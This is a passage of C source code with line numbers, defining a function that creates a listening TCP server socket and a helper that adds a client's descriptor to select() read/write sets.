272 | int create_tcp_server(int *port) 273 | { 274 | struct sockaddr_in server_sock; 275 | int server_fd; 276 | int opt; 277 | struct protoent *pe; 278 | 279 | pe = getprotobyname("tcp"); 280 | server_fd = xsocket(pe); 281 | opt = 1; 282 | setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, 283 | (void *)&opt, sizeof(opt)); 284 | server_sock.sin_family = AF_INET; 285 | server_sock.sin_addr.s_addr = INADDR_ANY; 286 | if (*port) 287 | { 288 | server_sock.sin_port = htons(*port); 289 | if ((xbind(server_fd, (struct sockaddr *)&server_sock)) < 0) 290 | return (-1); 291 | } 292 | else 293 | return (-1); 294 | if (xlisten(server_fd) < 0) 295 | return (-1); 296 | return (server_fd); 297 | } 298 | 299 | /* Usefull for init_fdset */ 300 | /* SET_ONLY_READ 2 */ 301 | /* SET_ONLY_WRITE 4 */ 302 | /* SET_READ_WRITE 6 */ 303 | int set_my_fd(struct s_client *client, fd_set *rfds, fd_set *wfds, int flag) 304 | { 305 | if ((flag & SET_ONLY_READ)) 306 | FD_SET(client->fd, rfds); 307 | if ((flag & SET_ONLY_WRITE) 308 | && client->sizeout) 309 | FD_SET(client->fd, wfds); 310 | return (client->fd); 311 | } 312 | --------------------------------------------------------------------------------